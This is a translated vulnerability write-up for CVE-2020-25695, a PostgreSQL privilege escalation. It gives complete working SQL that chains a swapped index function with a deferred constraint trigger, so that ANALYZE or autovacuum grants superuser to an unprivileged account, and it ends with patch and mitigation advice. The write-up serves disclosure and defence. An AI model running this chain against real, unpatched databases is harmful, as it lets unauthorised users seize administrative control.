已经快一年多了,我希望每个人都安康。这是我今年的第一篇也是唯一的一篇文章,涵盖了我在Postgresql中发现的一个有趣的特权升级漏洞。这会影响从9.5开始的所有受支持的Postgresql版本,很可能也会影响大多数较早的版本。
该漏洞类似于检查时间到使用时间TOCTOU的问题,但是在这种情况,它与退出安全受限操作之前未完全清除/重置状态有关。
测试版本:
发行说明和更新:https : //www.postgresql.org/
我的目标找到一个漏洞,该漏洞将允许一个没有权限的用户将其提升到superuser
。
有一些合法的方法可以为用户提供更高的Postgresql权限,而不给予用户完整的superuser
权限。
通常使用SECURITY DEFINER
函数完成此操作。
配置不当时,可以使用一个恶意编写的SECURITY DEFINER
函数和可控制search_path
来提升特权。(Cybertec Blog)
在Postgresql文档中(how to safely write security definer functions)显式地说明了此功能。
由于
SECURITY DEFINER
函数是以拥有它的用户的特权执行的,因此,需要注意使用,确保该函数不会被滥用。
尽管这是合法的功能,它仍然提供了一个很好的开始,因为它使我了解了在源代码中查找的位置。
或许会有一种在其他上下文使用SECURITY DEFINER
的方式。
我首先研究了安全定义器函数和Postgresql切换用户权限的其他位置,我注意到其中提高security-restricted operations
。这立即引发了一种幻想,即可能在其中找到某些东西。调用grep,并搜索了提到security-restricted operations
的位置。
该术语出现的两个地方是src/backend/commands/analyze.c
(ANALYZE
指令)和src/backend/commands/vacuum.c
(VACUUM
指令),两者中都有相同的代码注释。
/*
* Switch to the table owner's userid, so that any index functions are run
* as that user. Also lock down security-restricted operations and
* arrange to make GUC variable changes local to this command.
*/
这带我们走进下一部分。
这似乎很有趣,我不知道索引可以运行函数。现在是时候去先弄清楚如何使索引运行用户功能。
原来这是很容易做到的。文档有大量的索引调用函数示例(即使这些不是用户定义的, 它也展示了如何构造sql查询的语法)
例如:
CREATE INDEX ON films ((lower(title)));
在这种情况下, 一个索引被创建在films
表title
列,并使用lower
函数将其转换为小写。这将很直接轻松地提供一个用户创建的功能而不是lower
。
我跳过了一些必要的调试步骤,但可以归结为阅读使用函数时抛出的错误信息。此时要注意的事情是一个INDEX
需要一个IMMUTABLE
函数,这意味着该函数将始终为给定的输入返回相同的结果。这是有道理的,INDEX
正在尝试优化唯一性。
CREATE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql IMMUTABLE AS 'SELECT $1';
现在创建一个表,并在该表创建一个索引:
CREATE TABLE blah (a int, b int); INSERT INTO blah VALUES (1,1); CREATE INDEX indy ON blah (sfunc(a));
这作用并不是很大,我想要一个做更有用事情的功能。例如将值插入到其他表中。原因是我想索引正在执行索引功能的用户。 在这点上,我的想法是:
create index as unpriv --> privileged user executes ANALYZE/VACUUM --> index function executes as privileged user
在这种场景,我计划使用SERCURITY INVOKER
诱使Postgres以特权用户执行此功能。
-- create the table to insert the user into CREATE TABLE t0 (s varchar); -- create the security invoker function CREATE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO t0 VALUES (current_user); SELECT $1';
如上文所说, 索引需要一个IMMUTABLE
函数.因此,尝试在索引使用该函数,将引发错误:
tmp=# CREATE INDEX indy ON blah (sfunc(a)); ERROR: functions in index expression must be marked IMMUTABLE
这似乎是一个死胡同。然后我突然想到可以重新创建/重新定义功能。只要您使用CREATE OR REPLACE FUNCTION
,任何现有的功能将会被覆盖。也许INDEX
不会去检查一个定义好的函数是否会发生改变。(剧透,它的确不会)
CREATE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql IMMUTABLE AS 'SELECT $1'; CREATE INDEX indy ON blah (sfunc(a)); CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO t0 VALUES (current_user); SELECT $1';
现在,当索引运行时,current_user
将会被插入到t0
表中,为了确认,我切换到特权用户(postgres)并执行了该ANALYZE
功能。
tmp=# SELECT * FROM t0; s --- (0 rows) tmp=# ANALYZE; ANALYZE tmp=# SELECT * FROM t0; s ----- foo (1 row) tmp=#
函数有效地触发了,但是我们插入了用户foo
而不是postgres
。这说明SECURITY INVOKER
没有效果。
回顾前面的源代码解释,我们可以回想起在security-restricted
函数中已切换所有者的uid.是的,我们证明了此功能有效,确认了我们找到了一个不错的绕过IMMUTABLE
检查的功能,但这不是一个真正的安全问题。
回到源代码,我了解了如何进入security-restricted
操作,然后退出。
在vacuum.c
文件中,有一些有趣的注释。也许您可以立即发现引起我注意的部分。
/* * Switch to the table owner's userid, so that any index functions are run * as that user. Also lock down security-restricted operations and * arrange to make GUC variable changes local to this command. (This is * unnecessary, but harmless, for lazy VACUUM.) */ GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION); save_nestlevel = NewGUCNestLevel(); // DO LOTS OF WORK // <--- SNIP ---> /* Restore userid and security context */ SetUserIdAndSecContext(save_userid, save_sec_context); /* all done with this class, but hold lock until commit */ if (onerel) relation_close(onerel, NoLock); /* * Complete the transaction and free all temporary memory used. */ PopActiveSnapshot(); CommitTransactionCommand();
看到最后的注释和函数调用了吗? 在CommitTransactionCommand()
之后执行SetUserAndSecContext
,将上下文用户标识重置为执行用户的上下文。在SQL中,您具有事务,并且直到提交的时候事务才终结。这为你提供了执行某些SQL的空间,让它的一部分失败,然后完整地回滚到输入事务之前对状态的任何更改。在此代码中,用户在提交事务之前已还原,这事实使我想知道是否有可能在提交完成之前潜入一些其他命令来执行。
接下来,花了很长时间去阅读文档并寻找延迟执行SQL命令的方法。最终,我碰到了INITIALLY DEFERRED
,他掌握了解锁这个难题的关键。这是文档的一部分TRIGGERS,其进一步让幻想成真。
什么是INITIALLY DEFERRED
?
INITIALLY DEFERRED The default timing of the trigger. See the CREATE TABLE documentation for details of these constraint options. This can only be specified for constraint triggers.
进入CREATE TABLE
参考文献,您会发现:
If a constraint is deferrable, this clause specifies the default time to check the constraint. If the constraint is INITIALLY IMMEDIATE, it is checked after each statement. This is the default. If the constraint is INITIALLY DEFERRED, it is checked only at the end of the transaction. The constraint check time can be altered with the SET CONSTRAINTS command.
听起来完全像我们想要的!初始化延迟的约束只在"事务结束"时检查。这表明他将在上下文切换之后,但在commit
之前发生。
下一个技巧是弄清楚如何使用约束触发器以及应将约束触发器放置在何处,以便它在正确的时刻触发。
首先,一个CONSTRAINT TRIGGER
需要一个函数去执行。这将是我们"最终"的步骤,应该在特权用户上下文执行。因此,我们将特权操作插入到这个函数,另外一个技巧是CONSTRAINT TRIGGER
需要以某种方式触发。幸运地是,我们已经准备好了初始位。由于索引调用我们插入到table中的自定义函数插入t0
表,这个动作将导致约束触发器执行
Index runs --> sfunc inserts into t0 --> constraint trigger fires --> strig function is executed
这留给我们以下的SQL语句:
CREATE TABLE t1 (s varchar); -- create a function for inserting current user into another table CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO t1 VALUES (current_user); SELECT $1'; -- create a trigger function which will call the second function for inserting current user into table t1 CREATE OR REPLACE FUNCTION strig() RETURNS trigger AS $e$ BEGIN PERFORM snfunc(1000); RETURN NEW; END $e$ LANGUAGE plpgsql; /* create a CONSTRAINT TRIGGER, which is deferred deferred causes it to trigger on commit, by which time the user has been switched back to the invoking user, rather than the owner */ CREATE CONSTRAINT TRIGGER def AFTER INSERT ON t0 INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE strig();
我们必须创建第二个插入函数,否则我们将以非特权用户身份继续插入到要插入到其中的初始表中。
我们还希望该功能是实际执行特权操作的功能。这一点可以被简化,并且触发功能可以完成所有操作。但是这就是我当时大脑的工作方式,为什么要弄乱一些可行的东西?
tmp=> SELECT * FROM t0;
s
-----
foo
(1 row)
tmp=> SELECT * FROM t1;
s
---
(0 rows)
tmp=> INSERT INTO t0 VALUES ('baz');
INSERT 0 1
tmp=> SELECT * FROM t1;
s
-----
foo
(1 row)
哇,current_user
已插入table中t1
。切换到特权用户(postgre)并插入t0
,应该导致postgres
出现在表中t1
:
tmp=# INSERT INTO t0 VALUES ('bazfoo');
INSERT 0 1
tmp=# SELECT * FROM t1;
s
----------
foo
postgres
(2 rows)
太棒了, 现在我们可以欺骗特权用户插入到我们的表中。或者更好的方式是,测试ANALYZE
或VACUUM
函数现在是否在安全性受限的操作之外执行最终命令。
作为特权用户,只需ANALYZE
在此时执行:
tmp=# ANALYZE; ANALYZE tmp=# SELECT * FROM t1; s ---------- foo postgres postgres (3 rows)
成功执行!这意味着只要有特权的用户执行ANALYZE
(或VACUMM
就此而言),就有机会以该用户的身份执行命令!事实证明ANALYZE
,VACUUM
这是特权用户经常执行的非常常见的管理操作。因此,priv-esc的机会应该很高。
在这一点上,我们已经进行了特权升级,但是仍然需要一些手动交互。幸运地是,由于ANALYZE
和VACUUM
函数通常运行,并且经常因为事件运行。因此Postgresql具有内置的功能来定期运行这些功能
(需要启用,默认情况下处于禁用状态)。也许可以通过此autovacuum
过程直接触发此问题?
要强制触发autovacuum
运行,可以设置一些较低的阈值,然后在几次插入和删除之后该过程将运行:
ALTER TABLE blah SET (autovacuum_vacuum_threshold = 1); ALTER TABLE blah SET (autovacuum_analyze_threshold = 1);
不幸地是,这没有用。此时我差点认为autovacuum
没有漏洞。但是幸运地是,我决定尝试去找出它没有"漏洞"的原因。只需快速查看日志即可确定问题所在:
tail -f /var/log/postgres/postgresql-12-main.log
2020-10-15 19:42:19.501 UTC [14231] LOG: automatic vacuum of table "tmp.public.blah": index scans: 1
pages: 0 removed, 1 remain, 0 skipped due to pins, 0 skipped frozen
tuples: 6 removed, 1 remain, 0 are dead but not yet removable, oldest xmin: 2618
buffer usage: 43 hits, 4 misses, 7 dirtied
avg read rate: 53.879 MB/s, avg write rate: 94.289 MB/s
system usage: CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s
2020-10-15 19:42:19.531 UTC [14231] ERROR: relation "t0" does not exist at character 13
2020-10-15 19:42:19.531 UTC [14231] QUERY: INSERT INTO t0 VALUES (current_user); SELECT $1
2020-10-15 19:42:19.531 UTC [14231] CONTEXT: SQL function "sfunc" during startup
问题很明显,autovacuum在Postgres中运行,但是没有数据库和模式集.因此当它尝试INSERT INTO t0
时,他不能找到表! 所需要做的就是通过提供数据库和模式来告诉autovacuum在哪里可以找到完整的关系。
一个简单的更改:
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO t0 VALUES (current_user); SELECT $1';
变为:
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO tmp.public.t0 VALUES (current_user); SELECT $1';
现在,当autovacuum运行时,它将触发漏洞并以引导超级用户(通常为postgres)执行。
在这一点上,将其编程一个完整的漏洞利用利用程序,可以自动将用户提升为superuser
。有一个小问题,因为整个漏洞利用链是在插入基表时触发的,因此事务将在漏洞利用尝试提升特权的时候失败(因为它仍然以非特权用户身份执行,而不是在autovacuum
进程执行)。这就需要一个简单的保护措施来检查洞利用程序(特权提升)是否应该运行,或者是否应该继续为autovacuum
建立漏洞利用链。
-- Low privileged function CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO tmp.public.t1 VALUES (current_user); SELECT $1'; -- High privileged function CREATE OR REPLACE FUNCTION snfunc2(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO tmp.public.t1 VALUES (current_user); ALTER USER foo SUPERUSER; SELECT $1'; -- updated trigger CREATE OR REPLACE FUNCTION strig() RETURNS trigger AS $e$ BEGIN IF current_user = 'postgres' THEN PERFORM tmp.public.snfunc2(1000); RETURN NEW; ELSE PERFORM tmp.public.snfunc(1000); RETURN NEW; END IF; END $e$ LANGUAGE plpgsql;
现在,当autovacuum运行时,低特权用户将被提升为超级用户。 顶框显示autovacuum的日志, 底框显示INSERT / DELETE触发autovacuum
已发布所有受支持的Postgresql版本的补丁。这些可直接从https://www.postgresql.org/获得,或应在软件包镜像中获得。
在无法应用补丁的情况下,可以采取一些缓解措施。这些确实带有可能会严重影响性能的警告。
虽然及时更新PostgreSQL是大多数用户的最佳补救措施,但是无法做到这一点的用户可以通过禁用自动清理并且不手动运行ANALYZE,CLUSTER,REINDEX,CREATE INDEX,VACUUM FULL,REFRESH MATERIALIZED VIEW或从 来自pg_dump命令的输出还原来解决该漏洞。在这种解决方法下,性能可能会迅速下降。
完整的建议已发送:https : //gist.github.com/staaldraad/1325617885d42aa40777aa4774e91214
修复:https : //www.postgresql.org/
本文为翻译文章
原文链接:https://staaldraad.github.io/post/2020-12-15-cve-2020-25695-postgresql-privesc/